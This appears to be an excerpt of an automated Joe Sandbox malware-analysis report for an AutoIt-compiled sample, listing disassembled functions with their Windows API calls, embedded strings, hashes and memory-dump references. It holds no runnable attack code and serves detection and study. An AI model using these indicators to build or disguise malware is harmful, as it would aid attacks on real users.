                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$ItemMoveRect$Invalidate
                                                          • String ID:
                                                          • API String ID: 3096461208-0
                                                          • Opcode ID: c0c99d77b40acd0f288643810df8edc4993a414911eac18f47fcbe81735cbaff
                                                          • Instruction ID: b28b88a3761375a2d95e311896af4036ecaadc8e156d205d22557c5500933b57
                                                          • Opcode Fuzzy Hash: c0c99d77b40acd0f288643810df8edc4993a414911eac18f47fcbe81735cbaff
                                                          • Instruction Fuzzy Hash: 5E517D71B00205ABDB08CFA9DD89AAEBBBAFB98711F14852DF509D7290D7B09D449B10
                                                          Function 004F201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,004F2036,?,00000000,?,?,?,?,004F16CB,00000000,?), ref: 004F1B9A
                                                          • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 004F20D3
                                                          • KillTimer.USER32(-00000001,?,?,?,?,004F16CB,00000000,?,?,004F1AE2,?,?), ref: 004F216E
                                                          • DestroyAcceleratorTable.USER32(00000000), ref: 0052BCA6
                                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,004F16CB,00000000,?,?,004F1AE2,?,?), ref: 0052BCD7
                                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,004F16CB,00000000,?,?,004F1AE2,?,?), ref: 0052BCEE
                                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,004F16CB,00000000,?,?,004F1AE2,?,?), ref: 0052BD0A
                                                          • DeleteObject.GDI32(00000000), ref: 0052BD1C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                          • String ID:
                                                          • API String ID: 641708696-0
                                                          • Opcode ID: 8099f7ba91339fe91de7adc0b7acc84c4931ba903a539e6f6b015eb659fc4e2d
                                                          • Instruction ID: e8024a1d30153afa3d30653716ed33032c2c15b9693b3a4455209b1ff4db1ea5
                                                          • Opcode Fuzzy Hash: 8099f7ba91339fe91de7adc0b7acc84c4931ba903a539e6f6b015eb659fc4e2d
                                                          • Instruction Fuzzy Hash: 6161BF31100A15DFDB399F14EA48B367BF1FF54302F20452AE246466B0CBB8B885EF49
                                                          Function 004F21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F25DB: GetWindowLongW.USER32(?,000000EB), ref: 004F25EC
                                                          • GetSysColor.USER32(0000000F), ref: 004F21D3
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ColorLongWindow
                                                          • String ID:
                                                          • API String ID: 259745315-0
                                                          • Opcode ID: 30dffc44b9e2a3e8674f169682d51ec7f3a82d96990aa75d61dd1ab582d0d2ed
                                                          • Instruction ID: 604d5ee27b4d62873fa32bfabe54b538a3fe9c3843a529fa18c75e9cae856fd5
                                                          • Opcode Fuzzy Hash: 30dffc44b9e2a3e8674f169682d51ec7f3a82d96990aa75d61dd1ab582d0d2ed
                                                          • Instruction Fuzzy Hash: 5241F731000114DFEB259F28ED88BB93B65FB16331F2543A6FE658A2E1C7758C82EB15
                                                          Function 0054A439 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetClassNameW.USER32(?,?,00000100), ref: 0054A47A
                                                          • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0054A583
                                                          • GetClassNameW.USER32(?,?,00000400), ref: 0054A5F6
                                                          • GetDlgCtrlID.USER32(?), ref: 0054A648
                                                          • GetWindowRect.USER32(?,?), ref: 0054A67E
                                                          • GetParent.USER32(?), ref: 0054A69C
                                                          • ScreenToClient.USER32(00000000), ref: 0054A6A3
                                                          • GetClassNameW.USER32(?,?,00000100), ref: 0054A71D
                                                          • GetWindowTextW.USER32(?,?,00000400), ref: 0054A757
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
                                                          • String ID: %s%u
                                                          • API String ID: 1412819556-679674701
                                                          • Opcode ID: ba71b6e89edb7113896b31975a195ad8a96a1f506718319999c629aed451319c
                                                          • Instruction ID: c05172e773fbed5eed318273abaf3a5df4901270a517824c780ed41b6265e9e3
                                                          • Opcode Fuzzy Hash: ba71b6e89edb7113896b31975a195ad8a96a1f506718319999c629aed451319c
                                                          • Instruction Fuzzy Hash: 17A1C171244606AFDB55DF60C888BEABFE8FF84318F008529F999C2190DB30E955CB92
                                                          Function 0054AED4 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 249COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetClassNameW.USER32(00000008,?,00000400), ref: 0054AF18
                                                          • GetWindowTextW.USER32(00000001,?,00000400), ref: 0054AF51
                                                          • CharUpperBuffW.USER32(?,00000000), ref: 0054AF6E
                                                          • GetClassNameW.USER32(00000018,?,00000400), ref: 0054AFD5
                                                          • GetWindowTextW.USER32(00000002,?,00000400), ref: 0054B00C
                                                          • GetClassNameW.USER32(00000018,?,00000400), ref: 0054B055
                                                          • GetClassNameW.USER32(00000010,?,00000400), ref: 0054B08D
                                                          • GetWindowRect.USER32(00000004,?), ref: 0054B0F6
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClassName$Window$Text$BuffCharRectUpper
                                                          • String ID: @$ThumbnailClass
                                                          • API String ID: 3725905772-1539354611
                                                          • Opcode ID: c73556030e8812d8e415a68c16475e2921de87408aaabe6f09bfe79cb1e1d996
                                                          • Instruction ID: 89508d6ad5d9559e448fdffc90c4fa6db38a5caed2b6735e99feba180b713c4d
                                                          • Opcode Fuzzy Hash: c73556030e8812d8e415a68c16475e2921de87408aaabe6f09bfe79cb1e1d996
                                                          • Instruction Fuzzy Hash: 53818271108206ABEB05DF14C885FEA7FE8FF94718F04846AFD899A095DB34DD89CB61
                                                          Function 0054F8AA Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 138windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,0052E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 0054F8DF
                                                          • LoadStringW.USER32(00000000,?,0052E029,00000001), ref: 0054F8E8
                                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,0052E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 0054F90A
                                                          • LoadStringW.USER32(00000000,?,0052E029,00000001), ref: 0054F90D
                                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0054FA2E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadModuleString$Message
                                                          • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                          • API String ID: 4072794657-2268648507
                                                          • Opcode ID: 6f1a6ae3e78d03c3722c8aa32b0de062e0edb445b63848ec2568a0520231b101
                                                          • Instruction ID: f2161e0db3b8ab916457cfbefa9b176a7ad542297eef5837b3b398ef659d49af
                                                          • Opcode Fuzzy Hash: 6f1a6ae3e78d03c3722c8aa32b0de062e0edb445b63848ec2568a0520231b101
                                                          • Instruction Fuzzy Hash: B141707280010DAADF04FBE5DD96EFE7B78EF54304F50006AB605B6091EA396F49CB65
                                                          Function 005477DC Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 128registryshareCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 005478A0
                                                          • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 005478BC
                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 005478D8
                                                          • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00547902
                                                          • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 0054792A
                                                          • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00547935
                                                          • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0054793A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
                                                          • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                          • API String ID: 3030280669-22481851
                                                          • Opcode ID: e0b4f943359c37bb16f3cf77678501f8ba159ba538bb7ed7f9b5892a3ea3b067
                                                          • Instruction ID: 6db5cc697bddeb5294a3da396fce157d56f693b6f388478f63caca5fe4269099
                                                          • Opcode Fuzzy Hash: e0b4f943359c37bb16f3cf77678501f8ba159ba538bb7ed7f9b5892a3ea3b067
                                                          • Instruction Fuzzy Hash: 0541277281422DAADF11EBA5DC95DFDBB78FF18714F00402AE905A2261EB385D08CB94
                                                          Function 005774BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0057755E
                                                          • CreateCompatibleDC.GDI32(00000000), ref: 00577565
                                                          • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00577578
                                                          • SelectObject.GDI32(00000000,00000000), ref: 00577580
                                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 0057758B
                                                          • DeleteDC.GDI32(00000000), ref: 00577594
                                                          • GetWindowLongW.USER32(?,000000EC), ref: 0057759E
                                                          • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 005775B2
                                                          • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 005775BE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                          • String ID: static
                                                          • API String ID: 2559357485-2160076837
                                                          • Opcode ID: f150750fb6ec5b2257847d75c50fd7deeff0376fd16d4b0968d8c6e1cdefbe28
                                                          • Instruction ID: 941879d52fb0e3acf2c91e61e7e01ce1e7cda607f9bfff33248a9fb3d60f6dcc
                                                          • Opcode Fuzzy Hash: f150750fb6ec5b2257847d75c50fd7deeff0376fd16d4b0968d8c6e1cdefbe28
                                                          • Instruction Fuzzy Hash: DA316772104219ABDF119F64FC08FEA3F69FF1D320F104224FA19A21A0D731D865EBA4
                                                          Function 0055D58D Relevance: 16.8, APIs: 11, Instructions: 283comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoInitialize.OLE32(00000000), ref: 0055D5EA
                                                          • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0055D67D
                                                          • SHGetDesktopFolder.SHELL32(?), ref: 0055D691
                                                          • CoCreateInstance.OLE32(00582D7C,00000000,00000001,005A8C1C,?), ref: 0055D6DD
                                                          • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0055D74C
                                                          • CoTaskMemFree.OLE32(?,?), ref: 0055D7A4
                                                          • SHBrowseForFolderW.SHELL32(?), ref: 0055D81D
                                                          • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0055D840
                                                          • CoTaskMemFree.OLE32(00000000), ref: 0055D847
                                                          • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0055D87E
                                                          • CoUninitialize.OLE32(00000001,00000000), ref: 0055D880
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                                          • String ID:
                                                          • API String ID: 2762341140-0
                                                          • Opcode ID: 6b5a9b7b6bf11a8765467e85e41be5993d99b42acbb385bddca1f61c816812b4
                                                          • Instruction ID: d3b3cdc07fcd12a639601dec51af7b933c887790eac729a1787f180bbfdf0a65
                                                          • Opcode Fuzzy Hash: 6b5a9b7b6bf11a8765467e85e41be5993d99b42acbb385bddca1f61c816812b4
                                                          • Instruction Fuzzy Hash: 20B11D75A00109AFDB14DFA4C898EAEBBB9FF48305F048469F909EB261DB30ED45DB50
                                                          Function 00546B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00546BBF
                                                          • SafeArrayAllocData.OLEAUT32(?), ref: 00546C18
                                                          • VariantInit.OLEAUT32(?), ref: 00546C2A
                                                          • SafeArrayAccessData.OLEAUT32(?,?), ref: 00546C4A
                                                          • VariantCopy.OLEAUT32(?,?), ref: 00546C9D
                                                          • SafeArrayUnaccessData.OLEAUT32(?), ref: 00546CB1
                                                          • VariantClear.OLEAUT32(?), ref: 00546CC6
                                                          • SafeArrayDestroyData.OLEAUT32(?), ref: 00546CD3
                                                          • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00546CDC
                                                          • VariantClear.OLEAUT32(?), ref: 00546CEE
                                                          • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00546CF9
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                          • String ID:
                                                          • API String ID: 2706829360-0
                                                          • Opcode ID: bb42aab87540d1b3a6b28309ec9b32e6e808d19b68ae0a6b0deb43f721a2424d
                                                          • Instruction ID: e15bb0398d5e0c31d89400b3a64155507c3f51b2768dabd5972499568f5995ce
                                                          • Opcode Fuzzy Hash: bb42aab87540d1b3a6b28309ec9b32e6e808d19b68ae0a6b0deb43f721a2424d
                                                          • Instruction Fuzzy Hash: A3416E31A001199FCF04DF69D888AEEBBB9FF58354F008069E955E7261CB30AD49DBA1
                                                          Function 004F6A8C Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 478COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00510957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,004F6B0C,?,00008000), ref: 00510973
                                                            • Part of subcall function 004F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,004F4743,?,?,004F37AE,?), ref: 004F4770
                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 004F6BAD
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 004F6CFA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectory$FullNamePath
                                                          • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                          • API String ID: 1801377286-1018226102
                                                          • Opcode ID: 9837abe7d909b662cddbc7a1a8107f033225e4b99f175a8c574c6751de792bb8
                                                          • Instruction ID: ce6036255ce9eb78aa03604d23de46d3fcf63eae457033f9e93be9f4ed85d9d1
                                                          • Opcode Fuzzy Hash: 9837abe7d909b662cddbc7a1a8107f033225e4b99f175a8c574c6751de792bb8
                                                          • Instruction Fuzzy Hash: 1802CC301083459FCB14EF24D8819AFBBE5FF99318F00491EF68A972A1DB38D949CB56
                                                          Function 005683BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoInitialize.OLE32 ref: 00568403
                                                          • CoUninitialize.OLE32 ref: 0056840E
                                                          • CoCreateInstance.OLE32(?,00000000,00000017,00582BEC,?), ref: 0056846E
                                                          • IIDFromString.OLE32(?,?), ref: 005684E1
                                                          • VariantInit.OLEAUT32(?), ref: 0056857B
                                                          • VariantClear.OLEAUT32(?), ref: 005685DC
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                          • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                          • API String ID: 636576611-1287834457
                                                          • Opcode ID: 454ab64fdcca5171e75b80423f2faf9a9f8ee1247c1def14419245c2b20e4b0f
                                                          • Instruction ID: 0c6feb67e2fcf97e25bdbcfbbdc2e8fe5fec244ab566ce098685b473c4ae299f
                                                          • Opcode Fuzzy Hash: 454ab64fdcca5171e75b80423f2faf9a9f8ee1247c1def14419245c2b20e4b0f
                                                          • Instruction Fuzzy Hash: 03618E70608712AFC710DF14D848F6ABBE8BF59758F044A1DF9869B291DB70ED48CB92
                                                          Function 0055DC1A Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 185timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetLocalTime.KERNEL32(?), ref: 0055DCDC
                                                          • SystemTimeToFileTime.KERNEL32(?,?), ref: 0055DCEC
                                                          • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0055DCF8
                                                          • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0055DD95
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0055DDA9
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0055DDDB
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0055DDFC
                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0055DE47
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectoryTime$File$Local$System
                                                          • String ID: *.*
                                                          • API String ID: 1464919966-438819550
                                                          • Opcode ID: b5a31fb8e6498b16e49706b56799bd12d640c86d293269bcc0c61ad104bb5255
                                                          • Instruction ID: 9997f1012bebab932af19b9f217d5af721872aed0e9bf4cd967b2bd52aa0af0c
                                                          • Opcode Fuzzy Hash: b5a31fb8e6498b16e49706b56799bd12d640c86d293269bcc0c61ad104bb5255
                                                          • Instruction Fuzzy Hash: C46159725042059FCB20EF20C855AAEB7F8FF89314F04491EE98987251EB35ED49CBA2
                                                          Function 0055A8A7 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 183COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharLowerBuffW.USER32(?,?,0057F910), ref: 0055A90B
                                                          • GetDriveTypeW.KERNEL32(00000061,005A89A0,00000061), ref: 0055A9D5
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: BuffCharDriveLowerType
                                                          • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
